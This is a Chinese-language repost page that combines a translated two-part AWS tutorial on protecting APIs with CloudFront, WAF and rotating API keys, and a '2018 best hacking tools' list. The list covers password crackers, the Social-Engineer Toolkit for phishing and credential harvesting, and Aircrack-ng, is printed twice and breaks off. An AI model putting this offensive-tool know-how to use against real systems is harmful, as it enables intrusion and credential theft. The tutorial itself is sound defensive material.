- 选择您在第1部分中创建的API并选择Resources。
- 在/pets下,选择GET,然后选择Method Request。
- 对于所需的API键,选择下拉菜单并选择true。
- 要保存此更改,请选择突出显示的复选标记,如下图所示。
接下来,我们需要部署这些更改,以便在没有API密钥时发送给/pets的请求失败。
- 选择Actions并选择Deploy API。
- 选择Deployment stage下拉菜单,并选择在第1部分中创建的舞台。
- 添加一个部署描述,例如“在/pets下需要API键”,然后选择Deploy。
当部署成功时,您将被重定向到API Gateway Stage页面。在那里,您可以使用Invoke URL来测试以下请求是否由于没有API密钥而失败。
这一失败是预料之中的,并证明我们部署的更改正在工作。接下来,让我们尝试访问相同的API,但这次是通过CloudFront分发。
- 从AWS管理控制台打开AWS Cloudformation控制台。
- 选择您在第1部分中创建的堆栈,并在左下角选择output。
- 在CFDistribution行上,复制URL。在粘贴新浏览器选项卡或窗口之前,请在其中添加' /pets '。
与我们第一次尝试不使用API键相反,我们从PetStore API接收JSON响应。这是因为CloudFront在将请求转发到PetStore API之前注入了一个API密钥。下图演示了这两种测试:
- 通过CloudFront访问API时请求成功
- 通过API的调用URL直接访问API时,请求失败
这是CloudFront和API网关之间的一个秘密,它可以是任何约定的随机秘密,可以像API密钥一样旋转。但是,重要的是要知道API key是一个跟踪或度量API使用者使用情况的特性。它不是一种安全的授权机制,因此只能与API网关授权器一起使用。
旋转的API密钥
API键会根据更新AWS CloudFormation堆栈时选择的时间表(例如,每日或每月)自动旋转。这就不需要您进行维护或干预。在本节中,我们将解释这个过程是如何工作的,以及如果您想手动触发API键旋转,您可以做些什么。
除了第1部分之外,我们下载并用于更新堆栈的AWS CloudFormation模板还执行了以下操作。
引入一个附加到API密钥名的时间戳参数
Parameters:
Timestamp:
Type: String
Description: Fill in this format <Year>-<Month>-<Day>
Default: 2018-04-02
创建一个API网关密钥,API网关使用计划,将新密钥与作为参数给出的API网关关联,并配置CloudFront分发,以便在将流量转发到API网关时发送一个自定义头
CFDistribution:
Type: AWS::CloudFront::Distribution
Properties:
DistributionConfig:
Logging:
IncludeCookies: 'false'
Bucket: !Sub ${S3BucketAccessLogs}.s3.amazonaws.com
Prefix: cloudfront-logs
Enabled: 'true'
Comment: API Gateway Regional Endpoint Blog post
Origins:
-
Id: APIGWRegional
DomainName: !Select [0, !Split ['/', !Ref ApiURL]]
CustomOriginConfig:
HTTPPort: 443
OriginProtocolPolicy: https-only
OriginCustomHeaders:
-
HeaderName: x-api-key
HeaderValue: !Ref ApiKey
...ApiUsagePlan:
Type: AWS::ApiGateway::UsagePlan
Properties:
Description: CloudFront usage only
UsagePlanName: CloudFront_only
ApiStages:
-
ApiId: !Select [0, !Split ['.', !Ref ApiURL]]
Stage: !Select [1, !Split ['/', !Ref ApiURL]]ApiKey:
Type: "AWS::ApiGateway::ApiKey"
Properties:
Name: !Sub "CloudFront-${Timestamp}"
Description: !Sub "CloudFormation API Key ${Timestamp}"
Enabled: trueApiKeyUsagePlan:
Type: "AWS::ApiGateway::UsagePlanKey"
Properties:
KeyId: !Ref ApiKey
KeyType: API_KEY
UsagePlanId: !Ref ApiUsagePlan
正如在ApiKey资源中所示,我们将给定的时间戳附加到Name中,并在API网关使用计划密钥资源中使用它。这意味着,无论何时时间戳参数发生变化,AWS CloudFormation都会触发资源替换,并更新依赖于该API键的每个资源。在本例中,这包括AWS CloudFront配置和API网关使用计划。
但是在这个例子中,您在本博客开头所选择的轮换计划意味着什么呢?
创建一个计划好的活动来触发给定计划中的Lambda函数
Parameters:
...
ApiKeyRotationSchedule:
Description: Schedule to rotate API Keys e.g. Daily, Monthly, Bimonthly basis
Type: String
Default: Daily
AllowedValues:
- Daily
- Fortnightly
- Monthly
- Bimonthly
- Quarterly
ConstraintDescription: Must be any of the available optionsMappings:
ScheduleMap:
CloudwatchEvents:
Daily: "rate(1 day)"
Fortnightly: "rate(14 days)"
Monthly: "rate(30 days)"
Bimonthly: "rate(60 days)"
Quarterly: "rate(90 days)"Resources:
...
RotateApiKeysScheduledJob:
Type: "AWS::Events::Rule"
Properties:
Description: "ScheduledRule"
ScheduleExpression: !FindInMap [ScheduleMap, CloudwatchEvents, !Ref ApiKeyRotationSchedule]
State: "ENABLED"
Targets:
-
Arn: !GetAtt RotateApiKeysFunction.Arn
Id: "RotateApiKeys"
资源RotateApiKeysScheduledJob显示,在更新AWS CloudFormation堆栈时,通过下拉菜单选择的调度实际上转换为CloudWatch事件规则。这进而触发在相同模板中定义的Lambda函数。
RotateApiKeysFunction:
Type: "AWS::Lambda::Function"
Properties:
Handler: "index.lambda_handler"
Role: !GetAtt RotateApiKeysFunctionRole.Arn
Runtime: python3.6
Environment:
Variables:
StackName: !Ref "AWS::StackName"
Code:
ZipFile: !Sub |
import datetime
import osimport boto3
from botocore.exceptions import ClientErrorsession = boto3.Session()
cfn = session.client('cloudformation')
timestamp = datetime.date.today()
params = {
'StackName': os.getenv('StackName'),
'UsePreviousTemplate': True,
'Capabilities': ["CAPABILITY_IAM"],
'Parameters': [
{
'ParameterKey': 'ApiURL',
'UsePreviousValue': True
},
{
'ParameterKey': 'ApiKeyRotationSchedule',
'UsePreviousValue': True
},
{
'ParameterKey': 'Timestamp',
'ParameterValue': str(timestamp)
},
],
}def lambda_handler(event, context):
""" Updates CloudFormation Stack with a new timestamp and returns CloudFormation response"""
try:
response = cfn.update_stack(**params)
except ClientError as err:
if "No updates are to be performed" in err.response['Error']['Message']:
return {"message": err.response['Error']['Message']}
else:
raise Exception("An error happened while updating the stack: {}".format(err))
return response
这个Lambda函数所做的一切就是通过API触发AWS CloudFormation堆栈更新(与您通过控制台所做的完全相同,但是以编程方式进行的),并更新时间戳参数。因此,它会旋转API键和CloudFront分发配置。
这为您提供了足够的灵活性,可以在任何时候更改API key rotation schedule,而无需维护或编写任何代码。您还可以手动更新堆栈,并通过更新AWS CloudFormation堆栈的时间戳参数来旋转键。
下一个步骤
我们希望你觉得这个博客的信息有帮助。您可以使用它来了解如何创建一种机制,只允许从CloudFront到API网关的通信,并避免绕过第1部分设置的AWS WAF规则。
关于这个解决方案,请记住以下几点:
- 它假设您已经拥有一个由API网关管理的强大AuthZ机制来控制对API的访问。
- 在此解决方案中创建的API网关使用计划和其他资源只适用于在相同帐户中创建的API (ApiUrl参数)。
- 如果您已经使用API键来跟踪API的使用情况,请考虑使用以下任何一种解决方案作为替代:
- 在CloudFront源配置中使用随机HTTP头值,并使用API网关请求模型验证来验证它,而不是单独使用API键。
- 结合Lambda@Edge和API网关自定义授权器,使用只有二者知道的共享秘密对传入的请求进行签名和验证。这是一种更先进的技术。
本文:http://pub.intelligentx.net/protecting-your-api-using-amazon-api-gateway-and-aws-waf-part-2
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 57 次浏览
【应用安全】保护您的API使用亚马逊API网关和AWS WAF -第一部分
本文由AWS解决方案架构师Thiago Morais提供
当您构建web应用程序或在外部公开任何数据时,您可能会寻找一个平台,在这个平台上您可以构建高度可伸缩、安全且健壮的REST api。由于API是公开的,所以有许多最佳实践可以为使用API的用户提供安全机制。
Amazon API Gateway处理接受和处理多达数十万个并发API调用所涉及的所有任务,包括流量管理、授权和访问控制、监视和API版本管理。
在本文中,我将向您展示如何利用API网关中的区域性API端点特性,以便您可以创建自己的Amazon CloudFront发布,并使用AWS WAF保护您的API。
AWS WAF是一个web应用程序防火墙,它帮助保护您的web应用程序免受常见web攻击的影响,这些web攻击可能会影响应用程序的可用性、危害安全性或消耗过多的资源。
当您使您的api公开可用时,您就暴露在试图以几种方式利用您的服务的攻击者面前。AWS安全团队发布了一个使用AWS WAF的白皮书解决方案,即如何减轻OWASP的十大Web应用程序漏洞。
区域API端点
边缘优化API是通过由API网关创建和管理的CloudFront发布访问的端点。在启动区域API端点之前,这是使用API网关创建API时的默认选项。它主要帮助位于不同地理位置的API使用者减少延迟。
当API请求主要来自部署API时所在AWS区域内的Amazon EC2实例或其他服务时,区域API端点通常会降低连接的延迟。建议在这种情况下使用。
为了更好地控制缓存策略,客户可以为区域api使用自己的CloudFront发布。他们也有能力使用AWS WAF保护,正如我在这篇文章中所描述的。
Edge-optimized API端点
下图是一个经过边界优化的API端点的示例,您的API客户端通过由API网关创建和管理的CloudFront发布访问您的API。
区域API端点
对于区域API端点,您的客户可以从部署REST API的相同区域访问您的API。这有助于减少请求延迟,特别是允许您根据需要添加自己的内容交付网络。
预排
在本节中,您将执行以下步骤:
- 使用PetStore示例API创建一个区域性API。
- 为API创建一个CloudFront发布。
- 测试云前分布。
- 设置AWS WAF并创建web ACL。
- 将web ACL附加到CloudFront分发版。
- 测试AWS WAF保护。
创建区域API
对于本演练,请使用现有的PetStore API。所有新api都默认作为区域端点类型启动。要更改现有API的端点类型,请选择右上角的cog图标:
在您的帐户上创建了PetStore API之后,为PetStore API部署一个名为“prod”的阶段。
在API网关控制台,选择PetStore API并选择Actions, Deploy API。
对于Stage 名称,键入prod并添加舞台描述。
选择Deploy并创建新的API阶段。
使用以下AWS CLI命令将您的API从边缘优化更新到区域:
aws apigateway update-rest-api \ --rest-api-id {rest-api-id} \ --patch-operations op=replace,path=/endpointConfiguration/types/EDGE,value=REGIONAL
一个成功的响应如下:
{
"description": "Your first API with Amazon API Gateway. This is a sample API that integrates via HTTP with your demo Pet Store endpoints",
"createdDate": 1511525626,
"endpointConfiguration": {
"types": [
"REGIONAL"
]
},
"id": "{api-id}",
"name": "PetStore"
}
将API端点更改为region之后,现在可以将自己的CloudFront分发版分配给这个API。
创建一个CloudFront发布
为了使事情变得更简单,我提供了一个AWS CloudFormation模板来部署指向您刚刚创建的API的CloudFront发布。单击此按钮将模板部署到us-east-1区域。
对于堆栈名称,请输入RegionalAPI。对于APIGWEndpoint,请按照以下格式输入您的API FQDN:
{api-id}.execute-api.us-east-1.amazonaws.com
填写完参数后,选择Next继续堆栈部署。完成部署需要几分钟。完成后,Output选项卡列出以下项目:
- A CloudFront domain URL
- An S3 bucket for CloudFront access logs
Output from CloudFormation
测试CloudFront 分发
要查看CloudFront发布是否配置正确,请使用web浏览器并从发行版中输入URL,并使用以下参数:
https://{your-distribution-url}.cloudfront.net/{api-stage}/pets
您应该得到以下输出:
[
{
"id": 1,
"type": "dog",
"price": 249.99
},
{
"id": 2,
"type": "cat",
"price": 124.99
},
{
"id": 3,
"type": "fish",
"price": 0.99
}
]
设置AWS WAF并创建web ACL
有了新的CloudFront发布,您现在可以开始设置AWS WAF来保护您的API。
对于这个演示,您将部署AWS WAF安全自动化解决方案(https://aws.amazon.com/answers/security/aws-waf-security-automations/),该解决方案对试图访问您的API的请求提供细粒度控制。
有关部署的更多信息,请参见自动部署(https://docs.aws.amazon.com/solutions/latest/aws-waf-security-automatio…)。
对于CloudFront访问日志桶名,添加在部署CloudFormation堆栈期间为您的CloudFront分发版创建的桶名。
该解决方案允许您调整阈值,并选择启用哪些自动化来保护您的API。配置完这些设置后,选择Next。
要启动帐户中的部署过程,请遵循创建向导并选择Create。完成部署需要几分钟。您可以通过CloudFormation控制台跟踪创建过程。
部署完成后,您可以看到新的web ACL部署在AWSWAF控制台AWSWAFSecurityAutomations上。
将AWS WAF web ACL附加到CloudFront分发版
部署了解决方案后,现在可以将AWS WAF web ACL附加到前面创建的CloudFront分发版。
要分配新创建的AWS WAF web ACL,请回到您的CloudFront发布。打开要编辑的发行版后,选择General Edit。
选择前面创建的新的AWSWAF web ACL AWSWAFSecurityAutomations。
保存对CloudFront发布的更改,等待部署完成。
测试AWS WAF保护
要验证AWS WAF Web ACL设置,请使用 Artillery 加载测试API并查看AWS WAF的运行情况。
要在您的机器上安装火炮,请运行以下命令:
npm install -g artillery
安装完成后,您可以通过运行以下命令检查火炮是否安装成功:
$ artillery -V $ 1.6.0-12
在发布时, Artillery版是1.6.0-12。
您已经设置的WAF web ACL规则之一是基于速率的规则。默认情况下,它被设置为阻止任何请求者在5分钟内超过2000个请求。试试这个。
首先,使用cURL查询您的分布并查看API输出:
$ curl -s https://{distribution-name}.cloudfront.net/prod/pets
[
{
"id": 1,
"type": "dog",
"price": 249.99
},
{
"id": 2,
"type": "cat",
"price": 124.99
},
{
"id": 3,
"type": "fish",
"price": 0.99
}
]
根据上面的测试,结果看起来不错。但是,如果您在5分钟内最大限度地完成2000个请求呢?
运行以下artillery 命令:
artillery quick -n 2000 --count 10 https://{distribution-name}.cloudfront.net/prod/pets
您所做的是从10个并发用户向API发出2000个请求。简而言之,我没有在这里发布炮兵(artillery )输出。
炮兵(artillery )完成它的执行后,尝试再次运行cURL请求,看看会发生什么:
$ curl -s https://{distribution-name}.cloudfront.net/prod/pets
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>ERROR: The request could not be satisfied</TITLE>
</HEAD><BODY>
<H1>ERROR</H1>
<H2>The request could not be satisfied.</H2>
<HR noshade size="1px">
Request blocked.
<BR clear="all">
<HR noshade size="1px">
<PRE>
Generated by cloudfront (CloudFront)
Request ID: [removed]
</PRE>
<ADDRESS>
</ADDRESS>
</BODY></HTML>
从上面的输出可以看到,请求被AWS WAF阻止了。当您的IP地址低于请求限制速率时,将从阻塞列表中删除。
结论
在第一部分中,您了解了如何使用新的API网关区域API端点以及Amazon CloudFront和AWS WAF来保护您的API免受一系列攻击。
在第二部分中,我将演示使用API键和Amazon CloudFront自定义头保护API的其他一些技术。
本文:http://pub.intelligentx.net/node/595
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 71 次浏览
安全工具
我们根据行业评论,您的反馈和自己的经验,准备了2018年最佳黑客工具的有用列表。 此列表将告诉您有关用于黑客目的的最佳软件,包括端口扫描程序,Web漏洞扫描程序,密码破解程序,取证工具,流量分析和社交工程工具。
我们编制了这个顶级黑客软件列表及其最佳功能和下载链接。 阅读它们,了解如何使用它们并分享您的评论,以使这个列表更好。 如果您正在寻找用于道德黑客攻击和测试的专用操作系统,请查看此专用文章 (具体链接后台询问)。
1. Metasploit | Best collection of exploit tools
我不是将Metasploit称为漏洞利用工具的集合,而是将其称为可用于构建自己的自定义工具的基础架构。 这个免费工具是最流行的网络安全工具之一,允许您在不同平台上查找漏洞。 Metasploit拥有超过200,000名用户和贡献者,可帮助您获得洞察力并发现系统中的弱点。
这个2018年的顶级黑客工具包让你可以模拟真实世界的攻击,告诉你弱点并找到它们。 作为渗透测试人员,它使用Top Remediation报告通过Nexpose闭环集成来确定漏洞。 使用开源Metasploit框架,用户可以构建自己的工具并充分利用这个多用途黑客工具。
支持的平台和下载:
Metasploit适用于所有主要平台,包括Windows,Linux和OS X.
2. Acunetix WVS | Vulnerability Scanner
Acunetix是一个Web漏洞扫描程序(WVS),可以扫描并发现网站中可能导致致命错误的缺陷。 这个多线程工具抓取一个网站,发现恶意的跨站点脚本,SQL注入和其他漏洞。 这个快速且易于使用的工具可以从WordPress.ethical-hacking-course-square-ad中的1200多个漏洞中扫描WordPress网站
Acunetix附带一个登录序列记录器,允许用户访问网站的密码保护区域。 此工具中使用的新AcuSensor技术可以降低误报率。 这些功能使Acunetix WVS成为您需要在2018年结账的首选黑客工具。
支持的平台和下载:
Acunetix适用于Windows XP及更高版本。
3. Nmap | Port scanner tool
Nmap - 也称为网络映射器 - 属于端口扫描程序工具的类别。 这个免费的开源黑客工具是最流行的端口扫描工具,可以实现高效的网络发现和安全审计。 Nmap用于广泛的服务,使用原始IP数据包来确定网络上可用的主机,它们的服务以及详细信息,主机使用的操作系统,使用的防火墙类型以及其他信息。
去年,Nmap赢得了多项年度奖项的安全产品,并出现在多部电影中,包括The Matrix Reloaded,Die Hard 4等。 在命令行中可用,Nmap可执行文件也带有高级GUI头像。
支持的平台和下载:
Nmap适用于所有主要平台,包括Windows,Linux和OS X.
4. Wireshark | Packet analyzer
Wireshark是一种众所周知的数据包制作工具,可以发现网络中的漏洞并探测防火墙规则集。 成千上万的安全专业人员使用它来分析数百个协议的网络和实时口袋捕获和深度扫描。 Wireshark可帮助您从以太网,IEEE 802.11,PPP / HDLC,ATM,蓝牙,USB,令牌环,帧中继,FDDI等读取实时数据。
这个免费的开源工具最初被命名为Ethereal。 Wireshark还有一个名为TShark的命令行版本。
支持的平台和下载:
这种基于GTK +的网络协议分析器可在Linux,Windows和OS X上轻松运行。
5. oclHashcat | Password cracking tool
如果密码破解是您每天都要做的事情,您可能会注意到免费密码破解工具Hashcat。 虽然Hashcat是一个基于CPU的密码破解工具,但oclHashcat是其高级版本,它使用GPU的强大功能。
oclHashcat称自己是世界上第一个也是唯一一个基于GPGPU的引擎的世界上最快的密码破解工具。 对于使用该工具,NVIDIA用户需要ForceWare 346.59或更高版本,AMD用户需要Catalyst 15.7或更高版本。
此工具使用以下攻击模式进行破解:
- 直接
- 组合
- 暴力
- 混合字典+面具
- 混合蒙版+字典
提到另一个主要功能,oclHashcat是一个MIT许可下的开源工具,可以轻松集成或打包常见的Linux发行版。
支持的平台和下载:
这个有用的密码破解工具可以在Linux,OSX和Windows的不同版本中下载。
6. Nessus | 漏洞扫描程序
这个2018年的顶级免费安全工具在客户端 - 服务器框架的帮助下工作。该工具由Tenable Network Security开发,是我们最受欢迎的漏洞扫描程序之一。 Nessus为不同类型的用户提供不同的用途--Nessus Home,Nessus Professional,Nessus Manager和Nessus Cloud。
使用Nessus,可以扫描多种类型的漏洞,包括远程访问漏洞检测,错误配置警报,拒绝针对TCP / IP堆栈的服务,准备PCI DSS审计,恶意软件检测,敏感数据搜索等。要启动字典攻击,Nessus也可以称之为流行工具Hydra external.ethical-hacking-course-square-ad
除了上述基本功能外,Nessus还可用于扫描IPv4,IPv6和混合网络上的多个网络。您可以将计划扫描设置为在所选时间运行,并使用选择性主机重新扫描重新扫描先前扫描的主机的全部或子部分。
支持的平台和下载:
Nessus得到了各种平台的支持,包括Windows 7和8,Mac OS X以及Debian,Ubuntu,Kali Linux等流行的Linux发行版。
7. Maltego 取证平台
Maltego是一个开源取证平台,提供严格的挖掘和信息收集,以描绘您周围的网络威胁。 Maltego擅长展示基础设施和周围环境中故障点的复杂性和严重性。
Maltego是一个很棒的黑客工具,可以分析人,公司,网站,域名,DNS名称,IP地址,文档等等之间的真实世界链接。 该工具基于Java,在易于使用的图形界面中运行,在扫描时丢失了自定义选项。
支持的平台和下载:
Maltego安全工具适用于Windows,Mac和Linux。
8. Social-Engineer Toolkit
TrustedSec的Social-Engineer Toolkit也是Robot先生的特色,是一个用于模拟多种类型的社会工程攻击的高级框架,如凭据收获,网络钓鱼攻击等。 在节目中,Elliot被使用来自Social-Engineer Toolkit的SMS欺骗工具。
这个Python驱动的工具是社交工程渗透测试的标准工具,下载量超过200万。 它可以自动化攻击并生成伪装的电子邮件,恶意网页等。
支持的平台和下载:
要在Linux上下载SET,请键入以下命令:
git clone https://github.com/trustedsec/social-engineer-toolkit/ set /
除Linux之外,Mac OS X和Windows部分支持Social-Engineer Toolkit。
9. Netsparker | Web app scanner
Netsparker是一种流行的Web应用程序扫描程序,可以找到SQL注入和本地文件归纳等缺陷,以只读和安全的方式建议补救措施。 由于这个黑客工具产生了一个利用证据,您不需要自己验证漏洞。 万一它无法自动验证缺陷,它会提醒您。 这个黑客工具很容易上手。 只需输入URL并让它执行扫描。 Netsparker支持基于JavaScript和AJAX的应用程序。 因此,您无需配置扫描仪或依赖某些复杂的扫描设置来扫描不同类型的Web应用程序。
如果你不想为Netsparker的专业版付钱,他们也有一个你可以使用的演示版。
支持的平台和下载:
Netsparker Web应用程序扫描程序适用于Windows
10. w3af | Web app scanner
w3af是一款免费的开源Web应用程序安全扫描程序,被黑客和渗透测试人员广泛使用。 w3af代表Web应用程序攻击和审计框架。使用此黑客工具,可以获得可以在渗透测试约定中进一步使用的安全漏洞信息。 w3af声称可识别200多个漏洞(包括跨站点脚本,SQL注入,PHP错误配置,可猜测的凭据和未处理的应用程序错误),并使Web应用程序(和网站)更安全。解决方法 - 黑客 - 课程 - 方广告
w3af同时提供命令行和图形用户界面,以满足黑客的需求。只需不到5次点击并为初学者使用预定义的配置文件,就可以审核Web应用程序的安全性。由于它有详细记录,新用户可以轻松找到自己的方式。作为一个开源黑客工具,经验丰富的开发人员可以使用代码,添加新功能和创建新功能。
支持的平台和下载:
w3af适用于Linux,BSD和OS X.在Windows上,支持其旧版本。
11. John The Ripper
在密码破解工具方面,John The Ripper成为大多数道德黑客的最佳选择。 这个免费的开源软件以源代码的形式分发。
John The Ripper主要使用C编程语言编写。 它已经能够实现一个伟大的伴侣的地位,因为它是许多密码破解者合二为一的事实。 不同的模块使其能够使用不同的加密技术破解密码
支持的平台和下载:
John The Ripper黑客软件可在各种平台上使用,包括Windows,Linux,DOS,OpenVMS和Unix。
12. Aircrack-ng | Password cracking tool
在密码破解方面,Aircrack-ng是您可以探索的另一种选择。 该网络套件包括探测器,流量嗅探器和密码破解工具。 所有这些工具都是基于命令行的,并允许繁重的脚本。
使用Aircrack-ng黑客软件,您可以捕获数据包,将数据导出到文本文件,执行不同的攻击,检查WiFi卡和驱动程序功能,破解WEP和WPA PSK等。
支持的平台和下载:
Aircrack-ng适用于macOS,Linux,FreeBSD,Windows等不同平台。 Lunux版本也已移植到Android。
2018年的多种类别的其他顶级黑客和安全工具:
- Web漏洞扫描程序 - Burp Suite,Firebug,AppScan,OWASP Zed,Paros Proxy,Nikto,Grendel-Scan
- 漏洞利用工具 - Netsparker,sqlmap,Core Impact,WebGoat,BeEF
- 法医工具 - Helix3 Pro,EnCase,Autopsy
- 端口扫描仪 - Unicornscan,NetScanTools,愤怒的IP扫描仪
- 交通监控工具 - Nagios,Ntop,Splunk,Ngrep,Argus
- 调试器 - IDA Pro,WinDbg,Immunity Debugger,GDB
- Rootkit探测器 - DumpSec,Tripwire,HijackThis
- 加密工具 - KeePass,OpenSSL,OpenSSH / PuTTY / SSH,Tor
- 密码破解者 - John the Ripper, Hydra, ophcrack
我们希望您发现此列表有用。 在下面的评论中分享您的评论,并帮助我们改进此列表。
- 199 次浏览
【安全】适用于Windows,Linux和OS X的2018年最佳黑客工具
我们根据行业评论,您的反馈和自己的经验,准备了2018年最佳黑客工具的有用列表。 此列表将告诉您有关用于黑客目的的最佳软件,包括端口扫描程序,Web漏洞扫描程序,密码破解程序,取证工具,流量分析和社交工程工具。
我们编制了这个顶级黑客软件列表及其最佳功能和下载链接。 阅读它们,了解如何使用它们并分享您的评论,以使这个列表更好。 如果您正在寻找用于道德黑客攻击和测试的专用操作系统,请查看此专用文章
1. Metasploit | Best collection of exploit tools
我不是将Metasploit称为漏洞利用工具的集合,而是将其称为可用于构建自己的自定义工具的基础架构。 这个免费工具是最流行的网络安全工具之一,允许您在不同平台上查找漏洞。 Metasploit拥有超过200,000名用户和贡献者,可帮助您获得洞察力并发现系统中的弱点。
这个2018年的顶级黑客工具包让你可以模拟真实世界的攻击,告诉你弱点并找到它们。 作为渗透测试人员,它使用Top Remediation报告通过Nexpose闭环集成来确定漏洞。 使用开源Metasploit框架,用户可以构建自己的工具并充分利用这个多用途黑客工具。
支持的平台和下载:
Metasploit适用于所有主要平台,包括Windows,Linux和OS X.
2. Acunetix WVS | Vulnerability Scanner
Acunetix是一个Web漏洞扫描程序(WVS),可以扫描并发现网站中可能导致致命错误的缺陷。 这个多线程工具抓取一个网站,发现恶意的跨站点脚本,SQL注入和其他漏洞。 这个快速且易于使用的工具可以从WordPress.ethical-hacking-course-square-ad中的1200多个漏洞中扫描WordPress网站
Acunetix附带一个登录序列记录器,允许用户访问网站的密码保护区域。 此工具中使用的新AcuSensor技术可以降低误报率。 这些功能使Acunetix WVS成为您需要在2018年结账的首选黑客工具。
支持的平台和下载:
Acunetix适用于Windows XP及更高版本。
3. Nmap | Port scanner tool
Nmap - 也称为网络映射器 - 属于端口扫描程序工具的类别。 这个免费的开源黑客工具是最流行的端口扫描工具,可以实现高效的网络发现和安全审计。 Nmap用于广泛的服务,使用原始IP数据包来确定网络上可用的主机,它们的服务以及详细信息,主机使用的操作系统,使用的防火墙类型以及其他信息。
去年,Nmap赢得了多项年度奖项的安全产品,并出现在多部电影中,包括The Matrix Reloaded,Die Hard 4等。 在命令行中可用,Nmap可执行文件也带有高级GUI头像。
支持的平台和下载:
Nmap适用于所有主要平台,包括Windows,Linux和OS X.
4. Wireshark | Packet analyzer
Wireshark是一种众所周知的数据包制作工具,可以发现网络中的漏洞并探测防火墙规则集。 成千上万的安全专业人员使用它来分析数百个协议的网络和实时口袋捕获和深度扫描。 Wireshark可帮助您从以太网,IEEE 802.11,PPP / HDLC,ATM,蓝牙,USB,令牌环,帧中继,FDDI等读取实时数据。
这个免费的开源工具最初被命名为Ethereal。 Wireshark还有一个名为TShark的命令行版本。
支持的平台和下载:
这种基于GTK +的网络协议分析器可在Linux,Windows和OS X上轻松运行。
5. oclHashcat | Password cracking tool
如果密码破解是您每天都要做的事情,您可能会注意到免费密码破解工具Hashcat。 虽然Hashcat是一个基于CPU的密码破解工具,但oclHashcat是其高级版本,它使用GPU的强大功能。
oclHashcat称自己是世界上第一个也是唯一一个基于GPGPU的引擎的世界上最快的密码破解工具。 对于使用该工具,NVIDIA用户需要ForceWare 346.59或更高版本,AMD用户需要Catalyst 15.7或更高版本。
此工具使用以下攻击模式进行破解:
- 直接
- 组合
- 暴力
- 混合字典+面具
- 混合蒙版+字典
提到另一个主要功能,oclHashcat是一个MIT许可下的开源工具,可以轻松集成或打包常见的Linux发行版。
支持的平台和下载:
这个有用的密码破解工具可以在Linux,OSX和Windows的不同版本中下载。
6. Nessus | 漏洞扫描程序
这个2018年的顶级免费安全工具在客户端 - 服务器框架的帮助下工作。该工具由Tenable Network Security开发,是我们最受欢迎的漏洞扫描程序之一。 Nessus为不同类型的用户提供不同的用途--Nessus Home,Nessus Professional,Nessus Manager和Nessus Cloud。
使用Nessus,可以扫描多种类型的漏洞,包括远程访问漏洞检测,错误配置警报,拒绝针对TCP / IP堆栈的服务,准备PCI DSS审计,恶意软件检测,敏感数据搜索等。要启动字典攻击,Nessus也可以称之为流行工具Hydra external.ethical-hacking-course-square-ad
除了上述基本功能外,Nessus还可用于扫描IPv4,IPv6和混合网络上的多个网络。您可以将计划扫描设置为在所选时间运行,并使用选择性主机重新扫描重新扫描先前扫描的主机的全部或子部分。
支持的平台和下载:
Nessus得到了各种平台的支持,包括Windows 7和8,Mac OS X以及Debian,Ubuntu,Kali Linux等流行的Linux发行版。
7. Maltego 取证平台
Maltego是一个开源取证平台,提供严格的挖掘和信息收集,以描绘您周围的网络威胁。 Maltego擅长展示基础设施和周围环境中故障点的复杂性和严重性。
Maltego是一个很棒的黑客工具,可以分析人,公司,网站,域名,DNS名称,IP地址,文档等等之间的真实世界链接。 该工具基于Java,在易于使用的图形界面中运行,在扫描时丢失了自定义选项。
支持的平台和下载:
Maltego安全工具适用于Windows,Mac和Linux。
8. Social-Engineer Toolkit
TrustedSec的Social-Engineer Toolkit也是Robot先生的特色,是一个用于模拟多种类型的社会工程攻击的高级框架,如凭据收获,网络钓鱼攻击等。 在节目中,Elliot被使用来自Social-Engineer Toolkit的SMS欺骗工具。
这个Python驱动的工具是社交工程渗透测试的标准工具,下载量超过200万。 它可以自动化攻击并生成伪装的电子邮件,恶意网页等。
支持的平台和下载:
要在Linux上下载SET,请键入以下命令:
git clone https://github.com/trustedsec/social-engineer-toolkit/ set /
除Linux之外,Mac OS X和Windows部分支持Social-Engineer Toolkit。
9. Netsparker | Web app scanner
Netsparker是一种流行的Web应用程序扫描程序,可以找到SQL注入和本地文件归纳等缺陷,以只读和安全的方式建议补救措施。 由于这个黑客工具产生了一个利用证据,您不需要自己验证漏洞。 万一它无法自动验证缺陷,它会提醒您。 这个黑客工具很容易上手。 只需输入URL并让它执行扫描。 Netsparker支持基于JavaScript和AJAX的应用程序。 因此,您无需配置扫描仪或依赖某些复杂的扫描设置来扫描不同类型的Web应用程序。
如果你不想为Netsparker的专业版付钱,他们也有一个你可以使用的演示版。
支持的平台和下载:
Netsparker Web应用程序扫描程序适用于Windows
10. w3af | Web app scanner
w3af是一款免费的开源Web应用程序安全扫描程序,被黑客和渗透测试人员广泛使用。 w3af代表Web应用程序攻击和审计框架。使用此黑客工具,可以获得可以在渗透测试约定中进一步使用的安全漏洞信息。 w3af声称可识别200多个漏洞(包括跨站点脚本,SQL注入,PHP错误配置,可猜测的凭据和未处理的应用程序错误),并使Web应用程序(和网站)更安全。
w3af同时提供命令行和图形用户界面,以满足黑客的需求。只需不到5次点击并为初学者使用预定义的配置文件,就可以审核Web应用程序的安全性。由于它有详细记录,新用户可以轻松找到自己的方式。作为一个开源黑客工具,经验丰富的开发人员可以使用代码,添加新功能和创建新功能。
支持的平台和下载:
w3af适用于Linux,BSD和OS X.在Windows上,支持其旧版本。
11. John The Ripper
在密码破解工具方面,John The Ripper成为大多数道德黑客的最佳选择。 这个免费的开源软件以源代码的形式分发。
John The Ripper主要使用C编程语言编写。 它已经能够实现一个伟大的伴侣的地位,因为它是许多密码破解者合二为一的事实。 不同的模块使其能够使用不同的加密技术破解密码
支持的平台和下载:
John The Ripper黑客软件可在各种平台上使用,包括Windows,Linux,DOS,OpenVMS和Unix。
12. Aircrack-ng | Password cracking tool
在密码破解方面,Aircrack-ng是您可以探索的另一种选择。 该网络套件包括探测器,流量嗅探器和密码破解工具。 所有这些工具都是基于命令行的,并允许繁重的脚本。
使用Aircrack-ng黑客软件,您可以捕获数据包,将数据导出到文本文件,执行不同的攻击,检查WiFi卡和驱动程序功能,破解WEP和WPA PSK等。
支持的平台和下载:
Aircrack-ng适用于macOS,Linux,FreeBSD,Windows等不同平台。 Lunux版本也已移植到Android。
2018年的多种类别的其他顶级黑客和安全工具:
